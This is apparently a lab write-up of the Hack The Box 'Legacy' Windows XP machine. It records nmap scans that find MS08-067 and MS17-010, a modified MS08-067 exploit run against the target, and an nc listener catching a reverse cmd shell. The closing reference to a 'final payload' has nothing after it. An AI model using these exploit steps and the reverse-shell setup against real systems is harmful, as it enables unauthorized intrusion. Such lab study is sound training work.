

An initial nmap scan shows three ports - two open ports which are both microsoft samba ports, and one closed port running ms-wbt-server

```
# Nmap 7.80 scan initiated Mon May 25 16:12:43 2020 as: nmap -sV -sC -oN legacy 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE      VERSION
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows XP microsoft-ds
3389/tcp    closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d04h27m37s, deviation: 2h07m16s, median: 5d02h57m37s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:54:80 (VMware)
|_smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|   System time: 2020-05-31T05:10:34+03:00
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 25 16:13:47 2020 -- 1 IP address (1 host up) scanned in 64.79 seconds
```

I noticed that the nmap script was able to gather information on the smb security mode with the guest account and tried signing into the share with guest creds and a blank password, then again with no info and it failed both times

```
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4 -u guest -p ""
[!] Authentication error on 10.10.10.4
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4 -u guest -p
usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD] [-s SHARE] [-d DOMAIN]
              [-P PORT] [-v] [--admin] [-x COMMAND] [--mode CMDMODE] [-L | -R [PATH] | -r [PATH]]
              [-A PATTERN | -g] [--dir-only] [--no-write-check] [-q] [--depth DEPTH]
              [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
              [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE]
              [--skip]
smbmap: error: argument -p: expected one argument
root@kali:~/HTB/oscp_prep/Legacy# smbmap -H 10.10.10.4
[!] Authentication error on 10.10.10.4
```

running all smb-enum and smb-vuln scripts on the target didnt reveal too much information except that this machine is vulnerable to EternalBlue and that we have anonymous read access to the IPC share

```

root@kali:~/HTB/oscp_prep/Legacy# nmap --script=smb-enum*,smb-vuln* 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 17:43 EDT
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp    open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
3389/tcp    closed ms-wbt-server

Host script results:
|_smb-enum-shares:
|_  note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)
|_  account_used: <blank>
|_  \\10.10.10.4\ADMIN$:
|_    warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_    Anonymous access: <none>
|_  \\10.10.10.4\C$:
|_    warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_    Anonymous access: <none>
|_  \\10.10.10.4\IPC$:
|_    warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_    Anonymous access: READ
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms17-010:
|_  VULNERABLE:
|_  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|_    State: VULNERABLE
|_    IDs: CVE:CVE-2017-0143
|_    Risk factor: HIGH
|_    A critical remote code execution vulnerability exists in Microsoft SMBv1
|_    servers (ms17-010).
|_
|_  Disclosure date: 2017-03-14
|_  References:
|_    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_    https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_    https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 90.38 seconds

```

NOTE - smb \$ means that the share is hidden from the network resource directory

I modified the script to check against some of the ms exploits which didnt seem to get scanned by the default scripts. This time we got some more relevant results

```

root@kali:~/HTB/oscp_prep/Legacy# nmap --script=smb-vuln-ms* 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 18:13 EDT
Nmap scan report for 10.10.10.4
Host is up (0.094s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp    closed ms-wbt-server

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   State: VULNERABLE
|   IDs: CVE:CVE-2008-4250
|       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|       Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|       code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|   Disclosure date: 2008-10-23
|   References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_
Nmap done: 1 IP address (1 host up) scanned in 9.49 seconds

```

The exploit was failing over and over and it was eventually because of running it against the wrong windows version... I tried creating numerous payloads for windows XP sp0/sp1 with msfvenom and they likely would have all worked against sp3.

I only discovered the correct version for sure when I used nmap's OS fingerprinting flag AND the smb-os-discovery script in the same command. Using them separately never provided the SP3 version as the most likely OS version.

```

root@kali:/usr/share/nmap/scripts# nmap -sV --script=smb-os-discovery -O -Pn 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 20:13 EDT
Nmap scan report for 10.10.10.4
Host is up (0.092s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE        VERSION
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows XP microsoft-ds
3389/tcp    closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (94%), General Dynamics embedded (88%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP3 (94%), Microsoft Windows Server 2003 SP1 or SP2 (92%), Microsoft Windows XP (92%), Microsoft Windows Server 2003 SP2 (92%), Microsoft Windows 2003 SP2 (91%), Microsoft Windows Server 2003 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows X P SP2 or SP3 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-06-01T09:11:24+03:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.98 seconds

```

Exploit running with the correct version of windows

```

root@kali:~/HTB/oscp_prep/Legacy# python exploit.py 10.10.10.4 6 445
#####
# MS08-067 Exploit
# This is a modified version of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer
# - Added support for selecting a target port at the command line.
# - Changed library calls to allow for establishing a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode.
#####

$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .

#####

Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish

[1]+  Terminated                  python exploit.py 10.10.10.4 1 445

```

```

root@kali:~/HTB/oscp_prep/Legacy# nc -lvp 9000
listening on [any] 9000 ...
10.10.10.4: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.4] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

```

This was the final payload which ended up working with the script

